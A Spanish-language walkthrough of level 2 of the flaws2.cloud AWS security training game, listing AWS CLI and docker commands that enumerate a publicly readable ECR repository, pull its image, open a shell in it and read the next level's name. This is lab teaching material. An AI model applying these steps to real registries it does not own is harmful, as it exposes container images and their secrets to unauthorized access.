Level 2
http://level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud/
Nos dan el enlace de un ECR (registro de contenedores):
http://container.target.flaws2.cloud/
Nos dicen que el ECR se llama level2, como el repo es público lo podemos listar desde cualquier cuenta
aws ecr list-images --repository-name level2 --registry-id 653711331788 --region us-east-1
Para sacar el registry-id del repo objetivo
aws sts get-caller-identity --profile profile --region us-east-1
registry-id -> La cuenta propietaria del registro (su AccountID)
repository-name -> Nombre de repositorio (estantería de imágenes)
container -> Lo que se crea en base a una imagen.
Listar imágenes de un repositorio:
aws ecr describe-images --repository-name level2 --registry-id 653711331788 --region us-east-1
Obtener el digest de la imagen (id):
aws ecr batch-get-image --repository-name level2 --registry-id 653711331788 --image-ids imageTag=latest --region us-east-1 | jq '.images[].imageManifest | fromjson'
Obtener la url de descarga de la imagen pasándole el digest:
aws ecr get-download-url-for-layer --repository-name level2 --registry-id 653711331788 --layer-digest "sha256:2d73de35b78103fa305bd941424443d520524a050b1e0c78c488646c0f0a0621" --region us-east-1
Se trata de una imagen de contenedor, para poder deployearlo usamos docker
En mi terminal local:
aws configure --profile level2
Generar una contraseña de un solo uso y pasársela a docker , el nombre de usuario de un ECR es siempre AWS:
aws ecr get-login-password --region us-east-1 --profile level1 | \
docker login --username AWS --password-stdin 653711331788.dkr.ecr.us-east-1.amazonaws.com
La url del registry es : 653711331788.dkr.ecr.us-east-1.amazonaws.com
Hacemos pull de la imagen del repositorio level2
docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
Ejecutamos una shell
docker run -it --rm 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest sh
El nombre del siguiente nivel está en :
cat /var/www/index.htm